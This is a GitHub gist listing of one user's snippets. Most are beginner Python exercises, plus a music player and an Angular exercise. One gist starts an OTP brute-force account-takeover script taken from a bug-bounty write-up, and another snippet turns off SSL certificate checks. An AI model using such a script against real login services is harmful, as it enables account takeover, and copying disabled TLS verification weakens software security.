Skip to content

Instantly share code, notes, and snippets.

View ayubmetah's full-sized avatar

Ayub Metah ayubmetah

View GitHub Profile
@ayubmetah
ayubmetah / multiplication_table.py
Created December 20, 2020 06:11
Multiplication table in Python
#This function prints out a multiplication table (where each number is the result of multiplying the first number of its row by the number at the top of its column). Fill in the blanks so that calling multiplication_table(1, 3) will print out:
#1 2 3
#2 4 6
#3 6 9
def multiplication_table(start, stop):
for x in range(start,stop+1):
for y in range(start,stop+1):
print(str(x*y), end=" ")
print()
@ayubmetah
ayubmetah / even_numbers.py
Created December 20, 2020 07:09
The even_numbers function returns a space-separated string of all positive numbers that are divisible by 2, up to and including the maximum that's passed into the function. For example, even_numbers(6) returns “2 4 6”. Fill in the blank to make this work.
def even_numbers(maximum):
return_string = ""
for x in range(2, maximum + 1, 2):
return_string += str(x) + " "
return return_string.strip()
@ayubmetah
ayubmetah / data_structures.py
Created December 21, 2020 01:07
8.4 Open the file romeo.txt and read it line by line. For each line, split the line into a list of words using the split() method. The program should build a list of words. For each word on each line check to see if the word is already in the list and if not append it to the list. When the program completes, sort and print the resulting words in…
fname = input("Enter file name: ")
fh = open(fname, 'r')
lst = list()
for line in fh:
words = line.split()
for word in words:
if word in lst: continue
lst.append(word)
lst.sort()
@ayubmetah
ayubmetah / lists_and_strings.py
Created December 23, 2020 22:28
What is wrong with the code for the following question?
# Open the file mbox-short.txt and read it line by line. When you find a line that starts with 'From ' like the following line:
# From stephen.marquard@uct.ac.za Sat Jan 5 09:14:16 2008
# You will parse the From line using split() and print out the second word in the line (i.e. the entire address of the person who sent the message). Then print out a count at the end.
# Hint: make sure not to include the lines that start with 'From:'. Also look at the last line of the sample output to see how to print the count.
# You can download the sample data at http://www.py4e.com/code3/mbox-short.txt
#MY SOLUTION
fh = open(fname)
@ayubmetah
ayubmetah / otp_functionality.py
Created December 27, 2020 18:51
The code below is from Suraj Bhosale's write-up regarding Account takeover via login with OTP. There are 10,000 possible combinations that the digits 0-9 can be arranged into to form a four-digit code. Script originally written by @suraj-bhosale-876b2937
def generateotp():
otp_found = 0
while otp_found == 0:
Endpoint = "https://api.redacted.com/v3/users/login"
#Generate new OTP Post data to be sent
payload = {"uemail":"","password":"","umobile":"0720619878"}
headers = {"temptoken": "8fa1db6aa4652f6124062f9ca1d2c5b1a6da199f", "Connection": "close"}
#Generating New otp
r = requests.post(url = Endpoint, data=json.dumps(payload), headers=headers)
soup = BS(r.text, "html.parser")
@ayubmetah
ayubmetah / MyPlayer.py
Created December 27, 2020 21:14
MP3 Music Player built with Python. [Credit for this code goes to Papa Moryba Kouate. (https://www.linkedin.com/in/papa-moryba-kouate-6a2aaa128/)
import pygame #used to create video games
import tkinter as tkr #used to develop GUI
from tkinter.filedialog import askdirectory #it permit to select dir
import os #it permits to interact with the operating system
music_player = tkr.Tk()
music_player.title("Ayub Technologies Player")
music_player.geometry("450x350")
directory = askdirectory()
@ayubmetah
ayubmetah / Implement Facebook "Like" functionality in Angular
Last active January 3, 2021 19:24
Implement Facebook "Like" functionality in Angular
Background
Imagine you're working at Facebook and your job is to implement the "Like" functionality.
When a user clicks the "Like" button below a post, the button is highlighted (to indicate that it is selected) and the number of likes is increased.
You're going to implement this feature in Angular and for that you'll need to create a component. This component is a TypeScript class that encapsulates the data for rendering the like button (eg: the number of likes, and whether the button is in the on/off state). It also responds to user actions. So, when the user clicks the "Like" button, the number of likes should be increased and the button should be in the "selected/on" state. If the user clicks the button again, the number of likes should be decreased and the button should be in the "unselected" state.
Spec
For the purpose of this exercise, forget about the HTML. Your focus should be purely on defining a TypeScript class with the right members (fields, properties, methods, constructor).
Allow the c
@ayubmetah
ayubmetah / dict3.py
Created January 6, 2021 21:45
Write a program to read through the mbox-short.txt and figure out who has sent the greatest number of mail messages. The program looks for 'From ' lines and takes the second word of those lines as the person who sent the mail. The program creates a Python dictionary that maps the sender's mail address to a count of the number of times they appea…
add=dict()
name = input("Enter file:")
handle = open(name,'r')
for mail in handle:
if not mail.startswith('From '): continue
text=mail.split()
text=text[1]
add[text]=add.get(text,0)+1
print(text, add[text])
@ayubmetah
ayubmetah / Pythonlearn-11-Regex-Handout.txt
Created January 8, 2021 14:39
Python Regular Expression Quick Guide
Python Regular Expression Quick Guide
^ Matches the beginning of a line
$ Matches the end of the line
. Matches any character
\s Matches whitespace
\S Matches any non-whitespace character
* Repeats a character zero or more times
*? Repeats a character zero or more times
(non-greedy)
@ayubmetah
ayubmetah / Usin-Python-to-Access-Web-Data.py
Created January 11, 2021 23:27
Write a Python program which uses urllib to read HTML from the data files in a url and parse the data, extracting numbers and compute the sum of the numbers in the file.
import urllib.request, urllib.parse, urllib.error
from urllib.request import urlopen
from bs4 import BeautifulSoup
import ssl
# Ignore SSL certificate errors
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE